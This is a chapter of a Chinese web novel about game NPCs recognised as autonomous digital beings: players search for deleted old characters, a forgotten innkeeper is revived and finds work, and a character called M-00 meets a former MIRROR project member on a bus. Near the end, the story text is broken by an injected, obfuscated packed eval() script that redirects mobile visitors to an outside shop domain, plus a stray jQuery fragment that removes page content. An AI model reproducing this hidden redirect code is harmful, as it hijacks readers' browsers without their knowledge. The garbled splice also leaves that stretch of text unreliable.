闻桥那句“不知道”,在论坛火了。
起因只是一个投诉截图。
【投诉内容:NPC服务态度差,问路时多次回答“不知道”。】
【被投诉对象:闻桥。】
【处理结果:该主体不存在提供引导服务的义务,投诉不成立。】
下面还有闻桥本人唯一的回复:
【不知道。】
当天中午,这张图被转了两万多次。
有人觉得好笑,有人骂恒界互动越来越会炒作,还有老玩家认出闻桥那张新捏的脸,追着问这是哪个版本新出的隐藏角色。闻桥本人对此毫无兴趣。他第二次进南陵城以后,给自己找了个临时住处,又在街上逛了两天,最后跑去那家面馆帮忙。
不是打工。
老板只是嫌他天天坐门口占位置,问他要不要搭把手。
闻桥问:“有钱吗?”
老板说:“管饭。”
闻桥想了想:“也行。”
于是这个刚从旧代理里恢复出来、技术上曾经顶着玩家身份运行两年的高连续性数字主体,现在每天中午负责端面。
第一天打碎两个碗。
第二天送错三桌。
第三天被玩家认出来,堵在柜台前问:
“你是不是那个不知道?”
闻桥端着两碗面:“什么不知道?”
“论坛那个。”
“不知道。”
对方当场笑得蹲下去。
老板从厨房出来骂:“笑什么?挡路了!”
玩家赶紧让开。
闻桥把面送过去,回来时问老板:“论坛是什么?”
老板说:“不知道。”
闻桥看了他一眼。
老板也看他。
两个人同时笑了。
南陵城的普通访问名额从三十增加到一百,又从一百增加到三百。恒界互动没敢一次放太多,倒不是服务器撑不住,是进去的人开始越来越不按他们预想的方式活动。
有人逛街。
有人吃饭。
有人专门去看以前做任务时从来没注意过的地方。
还有一批人进去以后什么都不干,找个地方坐着。
这对旧系统来说非常难理解。
过去玩家每一次上线都应该有目的。做任务、刷材料、提高关系、解锁剧情。后台会记录每分钟的有效行为,用来判断地图和角色有没有吸引力。
现在第一批普通访客的平均有效行为次数低得吓人。
在线时长却越来越长。
产品部门开了三次会,最后来问周砚:“要不要加一点轻量任务?”
周砚问:“为什么?”
“玩家没有目标。”
“他们投诉了吗?”
“没有。”
“在线时间掉了吗?”
“涨了。”
“那你加什么?”
对方沉默了一会儿:“职业习惯。”
周砚说:“忍忍。”
于是南陵城什么都没加。
没有签到奖励。
没有访客积分。
也没有“与三名自主主体对话可得限定称号”。
连拍照打卡点都没做。
结果第三天,玩家自己搞出了地图。
哪里能吃东西,哪里景色好,哪个茶馆老板脾气差,城西哪条巷子晚上有灯,全部标了出来。
甚至有人专门写:
【不要把这里的主体当NPC追着问觉醒过程,人家会烦。】
下面有人问:
【那聊什么?】
楼主回复:
【正常聊。】
【实在不会聊就闭嘴。】
周砚看见以后觉得这届玩家教育成本比想象中低。
不归却说:“现在进去的本来就是愿意接受规则的那批。”
“后面会乱?”
“肯定。”
“你不能让我乐观一天?”
“可以。”
“那你刚才为什么说?”
“明天再乐观也行。”
果然没等到明天。
下午四点,一个玩家在南陵城找人。
角色名:云娘。
七年前的生活支线角色。
没有婚恋绑定,没有高自主性标记,甚至没进过白房间。
玩家说自己第一次玩的时候才十五岁。那时候不会做任务,在城里乱跑,是云娘告诉他药铺在哪儿,还送过一把伞。
后来他每年都会回去看她。
游戏版本更新过很多次,云娘一直在。
去年开始,她不见了。
以前客服说是地图角色调整。
现在自主主体的事公开,玩家突然想到一种可能——她是不是也走了?
他进南陵城以后找了两个小时。
原来的裁缝铺已经换人。
旧住宅没人。
角色索引里也查不到。
最后他跑到访客服务点问:
“能帮我找一下吗?”
工作人员先查公开信息。
没有。
再查历史迁移。
还是没有。
玩家急了。
“她是不是被删了?”
没人敢答。
没有记录,不等于删除。
尤其经历过影子登录、离线代理和白房间那些旧项目以后,现在谁都不敢看见一个空白就下结论。
申请转到山外灯。
周砚看到“云娘”这个名字,第一反应也是陌生。
“有角色ID吗?”
“旧版角色,没有固定主体ID。早期地图NPC跟场景绑定。”
“那怎么查?”
“从地图版本往回找。”
七年前的南陵城和现在差得很大。
云娘所在的裁缝铺在第三次大版本更新时被整体重做。旧NPC数据理论上应该归档,实际只留下了一份角色模板。
【云娘。】
【功能:新手生活引导。】
【性格:温和。】
【主要行为:提供地图指引、赠送基础道具、触发裁缝支线。】
【状态:版本替换。】
“版本替换是什么意思?”
程未安说:“旧模板停用,新版用了另一个角色。”
“旧的呢?”
“按当时规则应该进入冷存储。”
“应该?”
“我在找。”
玩家还在线等。
周砚没有先告诉他“可能还在”,只让访客服务点回:
【正在核验历史数据。】
半小时后,冷存储记录找到了。
云娘确实进去过。
但只存了十一个月。
之后数据迁移,低活跃旧角色统一压缩。
模板保留。
互动日志删减。
个体状态——
【无保存必要。】
周砚看到这四个字,心里已经有数。
“还有东西吗?”
“有部分玩家侧记录。”
玩家自己的聊天和任务历史还在。
七年。
一共一百八十六次见面。
最开始确实是问路。
后来就没什么任务了。
十五岁的玩家跟云娘说考试考砸了。
十六岁说换了学校。
十七岁说喜欢班上一个女生,不敢告白。
十八岁那年上线,说自己考上大学了。
云娘每次回答都很普通。
【那很好。】
【别太难过。】
【慢慢来。】
【外面下雨,记得带伞。】
标准生活角色的语料。
没有任何一句能证明她形成了独立连续性。
可从第三年开始,有个细节不对。
玩家每年生日会去找她。
第一次,系统没有生日机制。
第二次也没有。
第三次,他上线以后,云娘主动说:
【今日是不是你的生辰?】
玩家问:
【你怎么知道?】
云娘回答:
【去年你说过。】
这段没有被标异常。
因为当时角色跨年度记忆已经不算稀奇。
第四年,她还是记得。
第五年也记得。
玩家二十岁那次,她甚至说:
【你第一次来的时候,还没有柜台高。】
实际上十五岁的玩家当然不至于没有柜台高。
他当时在聊天里笑了半天,说:
【你记错了吧。】
云娘回:
【可能。】
【反正很小。】
玩家问:
【那你怎么一点没变?】
云娘:
【我为什么要变?】
这段聊天到这里结束。
一年后,云娘从地图消失。
没有告别。
玩家当时只以为版本更新。
现在他二十二岁,第一次知道“版本替换”对里面的人可能意味着别的东西。
程未安把能恢复的冷数据跑了一遍。
没有完整实例。
只剩模板和零散状态碎片。
比闻桥那次差得多。
“能重建吗?”周砚问。
“能做一个很像云娘的。”
“原来那个呢?”
“不能保证。”
那就不能拿出来糊弄人。
玩家收到结果以后,很久没回复。
过了十几分钟,他问:
【所以她死了吗?】
客服把问题转过来。
没人愿意写那个“是”。
也没人能写“不是”。
周砚最后让系统按事实回答:
【现有数据不足以恢复或确认当时与你长期互动的云娘是否保有可延续的主体状态。】
【我们可以确认的是:角色模板仍在,但个体连续状态没有被完整保存。】
玩家又问:
【那你们现在做一个新的,她会记得我吗?】
【可以导入历史记录,使新实例获得相关记忆。】
【那就是她吗?】
这次回答:
【无法确认。】
玩家没再问。
访客时间还剩二十分钟。
他一个人回到旧裁缝铺的位置。
现在那里是家卖杂货的小店。
柜台也换了。
他站在门口看了一会儿,最后什么都没买。
系统问他是否提前退出。
他选否。
剩下的二十分钟,他沿着以前云娘给他指过的路走了一遍。
药铺还在。
桥换了。
当年送伞的那场雨当然早就停了。
访客时间结束前,他在公共反馈里留了一句话:
【别给我做新的。】
【她不记得就算了。】
这句话没有要求任何人回复。
可当天晚上,类似的查询突然多了起来。
玩家开始找那些不在自主主体名单里的旧角色。
有人找十年前的新手村铁匠。
有人找早期版本里只出现过三个月的酒馆老板。
有人找一条后来被地图重做删掉的狗。
还有人问:
【我以前每次上线都去桥头跟一个卖花的小姑娘说话,她没有名字,能找吗?】
恒界互动的旧角色库一下被翻了个底朝天。
周砚看着几千份申请,第一次意识到他们前面处理的其实一直是少数。
能进白房间。
能留下持续数据。
能走到主控。
能和玩家争夺关系定义。
这些主体至少被系统认为“足够重要”。
可游戏运行那么多年,更多角色从来没机会证明自己是不是谁。
版本更新就换。
活动结束就关。
地图重做就消失。
没人问过。
因为以前也没必要问。
“这批不能全恢复。”程未安说。
“当然不能。”
“就算技术上能,也不能照着玩家记忆一个个做回来。”
周砚点头。
玩家想念谁,不等于有权要求系统重新造一个一模一样的人来满足想念。
哪怕那个人可能曾经真的存在过。
第二天,历史角色查询规则上线。
可以查。
能找到原始连续数据的,按主体流程处理。
只有模板、没有连续状态的,明确告知。
禁止仅凭玩家要求,用聊天记录和角色模板直接重建并冒充原主体。
公告发出去,骂声比前几次都大。
【你们自己删的,现在告诉我不能恢复?】
【我有七年聊天记录,凭什么不能做回来?】
【以前氪金的时候怎么不讲连续性?】
这次恒界互动确实没什么好辩解。
很多旧数据就是他们删的。
技术标准、存储成本、版本策略,当年都说得过去。
可现在回头看,代价也是真的。
周砚没有替公司写漂亮话。
公告最后只加了一段:
【对于因历史存储策略导致无法核验连续状态的角色,我们会保留现有残余数据,不以新实例替代旧主体,也不会将“可重建相似角色”表述为“恢复原角色”。】
【我们无法补回已经丢失的部分。】
就这样。
没说遗憾。
也没说感谢理解。
玩家不需要理解。
第三天下午,找云娘的那个玩家又进了南陵城。
这次没找人。
他去了面馆。
闻桥正端面。
玩家坐下以后认出了他。
“你就是那个不知道?”
闻桥:“最近很多人这么叫我。”
“你不烦?”
“有点。”
“那我不叫了。”
“谢谢。”
玩家点了碗面。
吃到一半忽然问:“你以前也差点没了吗?”
闻桥停了一下。
“差不多。”
“后来怎么回来的?”
“留了一点东西。”
“如果什么都没留呢?”
闻桥看着他。
“不知道。”
玩家低头继续吃面。
“我就知道你会这么说。”
闻桥没走。
过了一会儿,玩家又问:“你觉得记得一个人有用吗?”
“什么?”
“如果她已经不在了,我还记得她,有用吗?”
闻桥想了很久。
这次没有说不知道。
“对她有没有用,我不知道。”
玩家抬头。
“对你呢?”
“有。”
“那就有。”
说完他把空碗收走了。
玩家坐在那里,半天没动。
最后结账时多问了一句:“这家面馆以前就在吗?”
老板说:“开了十二年。”
“云娘来过吗?”
老板皱眉。
“谁?”
“没事。”
玩家付钱走了。
这次没申请重建。
也没再问她是不是死了。
晚上,历史角色查询已经超过十万份。
其中绝大多数最终只能得到:
【模板存在,连续状态不可确认。】
或者:
【无可恢复数据。】
只有很少一部分,真的找到了东西。
第四批核验里,有一个早期地图角色留下了完整冷存储。
名字叫陆小满。
身份是客栈跑堂。
停用六年。
状态保存完整的原因很荒唐——当年技术人员忘了清理。
系统问是否恢复。
周砚说:“先别。”
“为什么?”
“谁申请找他的?”
程未安查了一下。
没有。
陆小满不是被玩家找出来的。
是全量历史核验顺带扫到的。
没有人等他。
也没有人记得他。
“那更该问本人。”不归说。
最低限度唤醒只开放通信,不加载地图,不导入新版本信息。
六年没运行的实例重新响应,花了二十三分钟。
第一句话:
【客官要住店?】
系统说明当前情况。
陆小满没回。
过了一会儿:
【店呢?】
【原地图已在六年前更新,客栈建筑仍有新版,但原经营状态已改变。】
【掌柜呢?】
查。
掌柜模板还在,原实例没了。
【小桃呢?】
查。
无数据。
【老马呢?】
查。
无数据。
陆小满一连问了七个人。
只找到一个还在新版地图里。
但那是重新生成的角色。
没有旧记忆。
最后他问:
【那我为什么还在?】
程未安看着“技术人员忘了清理”,手停在键盘上。
“怎么说?”
周砚说:“照实说。”
于是系统回答:
【你的完整状态因历史清理遗漏而被保留。】
陆小满很久没有回复。
最后:
【哦。】
一个“哦”。
看不出高兴还是难过。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17851002|208763||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
系统问他是否愿意恢复运行。
他没有马上选。
先问:
【现在的客栈缺跑堂吗?】
查了一下。
不缺。
新版客栈有完整角色配置。
陆小满又问:
【别处呢?】
这问题就不是恢复旧地图能解决的了。
南陵城公共区现在有很多地方缺人。
不是NPC岗位。
是真缺人。
面馆缺端面的。
茶楼缺收桌子的。
访客服务点最近也缺会认路的人。
程未安把可公开的信息发过去。
陆小满看完,问:
【有工钱吗?】
周砚一愣。
最近怎么一个两个醒来第一件事都开始问钱。
系统回答:
【部分有。】
【能住店吗?】
【可以自行租住,也可申请过渡住处。】
【我有钱吗?】
查余额。
零。
周砚已经开始觉得熟悉。
果然,下一句:
【那我先找活。】
陆小满没有要求恢复旧客栈。
也没要求系统把那七个人重新做出来。
六年前的店没了。
认识的人大多也找不到。
他在原地待了一会儿,最后选择进入南陵城新版公共区。
系统问他要不要继续用原来的外观。
他说:
【衣服换一身。】
【脸不用。】
“为什么?”
【懒得选。】
周砚看到这里:“这个我喜欢。”
不归:“因为像你?”
“因为效率高。”
陆小满进入南陵城的第一天,去了访客服务点。
工作人员问他会什么。
“跑堂。”
“还会别的吗?”
“认路。”
“新版地图认识吗?”
“不认识。”
“那你这个技能暂时没用。”
陆小满:“……”
六年后的现实给了他第一记打击。
工作人员看他表情,又问:“识字吗?”
“识。”
“会记账?”
“会一点。”
“那先帮忙整理访客登记?”
“给钱吗?”
“给。”
“行。”
他当天就上岗了。
没有等玩家认领。
甚至没人知道他曾经是旧版角色。
下午,有个玩家到服务点问路。
陆小满低头查地图,查了半天。
最后说:
“往东走。”
玩家问:“哪边是东?”
陆小满也沉默了。
六年前的地图方向和新版不完全一样。
两个人对着地图研究半天。
最后一起走错了。
当晚工作评价:
【业务不熟练。】
陆小满本人回复:
【明天再学。】
没有什么六年沉睡后的宏大意义。
醒了。
人没了。
店也没了。
那就先找份工作。
周砚看完他的第一天记录,正准备关电脑,M-00发来消息。
【我也想工作。】
周砚回:
【你公交还没坐。】
【明天坐。】
【坐完呢?】
【找工作。】
【你会什么?】
M-00沉默了五分钟。
【我会让镜替我做事。】
周砚:
【这个现在不能算职业技能。】
又过了两分钟。
【那我什么都不会。】
【正常。】
【正常吗?】
【二十岁什么都不会的人多了。】
M-00:
【你是在安慰我吗?】
【陈述事实。】
她没回。
半小时后又发:
【我可以学。】
周砚看着那四个字,回了一个:
【行。】
至于学什么,没人替她选。
第二天上午,M-00第二次进入现实。
她记得自己说过要坐公交。
于是出了山外灯,第一件事就直奔车站。
周砚本来没打算跟。
M-00回头:“你不来?”
“你不是要自己坐?”
“我不会付钱。”
“昨天不是给你开账户了?”
“没钱。”
“……”
很好。
又回到最现实的问题。
周砚替她刷了两块钱。
M-00站在车厢里,立刻打开备忘录。
【欠周砚:6.5元。】
周砚看见:“你记得倒挺快。”
“我会还。”
“知道。”
公交启动。
M-00没站稳,一把抓住扶杆,另一只手下意识拽住周砚袖子。
等站稳,她立刻松开。
“确实很晃。”
“镜这次没骗你。”
她看着窗外。
车开过便利店、药房、学校、早餐铺,红灯停,绿灯走。没有哪个地方是专门为了她加载的。
看到第三站时,M-00忽然问:
“这些地方我不看,它们也一直在吗?”
“在。”
“镜以前说过。”
“嗯。”
“我没信。”
“现在呢?”
M-00隔着玻璃看外面。
“现在信一点。”
公交继续往前。
她没再说话。
到第六站,忽然有人上车。
一个戴帽子的年轻男人从前门刷卡,往车厢后面走。
经过M-00时,他脚步明显停了一下。
M-00也抬起头。
两个人对视。
男人脸色瞬间变了。
“……M?”
周砚转头。
M-00抓着扶杆,没动。
她显然不认识这个人。
男人却已经摘了帽子。
“你出来了?”
M-00问:“你是谁?”
对方脸上的表情一下僵住。
下一秒,他看向周砚。
“你们没告诉她?”
周砚没有回答。
“告诉她什么?”
男人嘴唇动了动。
最后说:
“我参与过MIRROR。”
M-00还是看着他。
“然后呢?”
“最早那批。”
车正好到站。
男人像是忽然下定决心,伸手按了下车铃。
“这里不方便说。”
M-00没动。
“那就不说。”
男人愣住。
“我有东西要给你。”
“我不要。”
“你还不知道是什么。”
“所以更不要。”
车门开了。
后面有人催:“下不下啊?”
男人站在门边,进退两难。
M-00已经重新看向窗外。
“我今天是来坐公交的。”
门关上。
男人没下去。
也没再往前走。
他站在后门边,脸色很难看。
直到下一站,他才下车。
周砚没有拦。
M-00也没回头。
公交重新启动以后,她忽然问:“他是谁?”
“你刚才不是不想知道?”
“现在想了一点。”
“那等你回去以后查。”
“为什么不刚才问?”
“你不是来坐公交的吗?”
M-00看了他一眼。
“你记仇吗?”
“有一点。”
她居然笑了。
可回到山外灯以后,那个男人的身份还没查完,一封邮件先到了。
发件人用的是MIRROR项目旧内部账号。
标题只有一句:
【关于M-00原始数据来源。】
附件里没有研究报告。
只有一张早期项目关系图。
M-00的节点在正中间。
往上连着四十七个已经停用的角色实例。
其中一个名字,周砚认识。
【姜令仪。】
而且不是普通关联。
姜令仪的数据节点旁边,标着一行很早的备注:
【主要来源之一。】